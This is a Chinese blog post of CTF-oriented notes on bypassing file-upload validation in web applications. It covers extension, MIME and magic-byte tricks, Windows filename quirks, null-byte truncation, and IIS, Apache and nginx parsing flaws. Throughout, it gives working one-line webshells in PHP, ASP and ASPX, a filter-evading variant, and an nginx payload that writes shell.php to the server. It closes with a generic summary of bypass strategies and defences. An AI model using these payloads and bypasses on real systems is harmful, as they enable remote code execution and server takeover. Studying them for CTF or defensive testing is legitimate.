文件上传的各种绕过姿势

文件上传绕过学习

做 ctf 的 web 方向常常遇到文件上传的题目,而且每题多少会有些不同。
于是搜集一番总结起来学习一下。

文件上传的校验

  • 客户端 JavaScript 校验
    一般在 F12 源代码中可以看到,校验的是文件后缀名。

  • 服务端校验
    1)文件头 content-type 字段校验(image/jpeg)
    2)文件内容头的校验。
    3)后缀名黑名单校验。
    4)后缀名白名单校验。
    5)自定义正则校验。

  • WAF设备校验

——

文件上传校验的绕过

客户端绕过

前端会检测后缀,可以先上传一个符合后缀的文件,再用 burp 抓包修改文件的内容以及后缀即可。

——

服务端绕过

  • 1)文件类型绕过
    用 burp 抓包,修改 content-type 字段为 image/jpeg 。

  • 2)文件头绕过
    在正常的一句话木马前面加上一些文件信息。 如 gif 的文件幻数:

GIF89a
<?php @eval($_GET['a']) ?>
  • 3)文件后缀名绕过
    服务端会对文件后缀进行黑名单校验。
    则找黑名单扩展名的漏网之鱼:

jsp:jspx、jspf; asp:asa、cer、aspx;
php:php,php3,php4,php5,php7,phtml,pht,phps

可能存在大小写绕过,如:aSp、pHp 。

  • 4)配合操作系统文件命令规则
    上传不符合 Windows 文件命名规则的文件名:

test.asp
test.asp(空格)
text.php:1.jpg
text.php::DATAshell.php::DATA shell.php::DATAshell.php::DATA……

Linux 下后缀名大小写

  • 5)配合其他规则
    0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候。test.php(0x00).jpg、test.php%00.jpg。
    例如: 路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg

  • 6)配合文件包含漏洞
    前提:校验规则只校验当文件后缀名为 asp/php/jsp 的文件内容是否为木马。 先上传一个内容为一句话木马的 .txt 文件,后缀正常未被检测并且上传成功;
    再上传一个 .php 文件,内容为 <?php Include("刚刚上传的 .txt 文件路径"); ?>
    此时,这个 php 文件就会去引用 txt 文件的内容,从而绕过校验。

中引用文件内容的语法:

#PHP <?php Include("上传的txt文件路径"); ?>
#ASP
#JSP <jsp:include page=“上传的txt文件路径”/> or <%include file=“上传的txt文件路径”%>

——
——

服务器解析漏洞

IIS5.x-6.x解析漏洞

目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析
形式:www.xxx.com/xx.asp;.jpg 原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 : /test.asa /test.cer /test.cdx

——
——

apache解析漏洞

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

——
——

nginx解析漏洞

漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHPfputs(fopen('shell.php','w'),'<?phpeval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

转自
https://wenku.baidu.com/view/bf350a1fbc64783e0912a21614791711cc79799c.html

关于上传文件里的内容,即一句话木马
最简单的一句话木马:

<?php @eval($_POST['aa']) ?>

php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。

@符号的意思是不报错,即使执行错误,也不报错,如果没有@,就会报错。

eval 就是执行命令的函数,把字符串作为 PHP 代码执行。

eval() 语言结果是非常危险的,因为它允许执行任意 PHP 代码。

常见的一句话木马:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

一句话木马的内容中 <?php 被过滤了,还可以换为如下内容:

<script language="php">
@eval($_POST['hacker']);
</script>
文件上传漏洞通常是Web应用程序中的一种安全缺陷,它允许恶意用户提交恶意文件,可能导致服务器权限提升、数据泄露或其他形式的攻击。以下是常见的绕过文件上传限制的一些策略: 1. **文件名解析**:攻击者可以利用服务器的文件路径解析规则,通过构造特殊字符(如..)尝试访问敏感目录,或者上传包含可执行命令的文件。 2. **大小限制欺骗**:通过压缩大文件或将文件分成多个小文件,然后组合上传,攻击者可以规避服务器对文件大小的限制。 3. **内容类型混淆**:更改上传文件的MIME类型,让服务器误认为上传的是合法类型的文件,而实际上可能是危险脚本。 4. **二进制扩展名欺骗**:攻击者可能会上传一个文本文件,但是伪装成图片或文档等常见文件类型,有些服务器可能不会检查内容。 5. **HTTP头注入**:一些老旧的应用可能未过滤HTTP头部的Content-Disposition字段,这可以用于指定文件下载的位置或名字,间接实现上传。 6. **文件上传取消再提交**:当服务器处理文件上传请求时,如果能取消请求并再次提交,攻击者可以尝试覆盖之前的上传。 7. **跨站请求伪造(CSRF)配合**:利用已有的CSRF令牌,攻击者可以在用户不知情的情况下上传恶意文件。 8. **零日漏洞**:如果应用存在未知的安全漏洞,攻击者可能能够利用这些漏洞绕过常规验证机制。 防止此类漏洞的关键在于对上传文件进行严格的验证和过滤,包括但不限于检查文件类型、大小、名称以及内容合法性。同时,使用文件存储路径随机化、白名单和黑名单策略也能提高安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值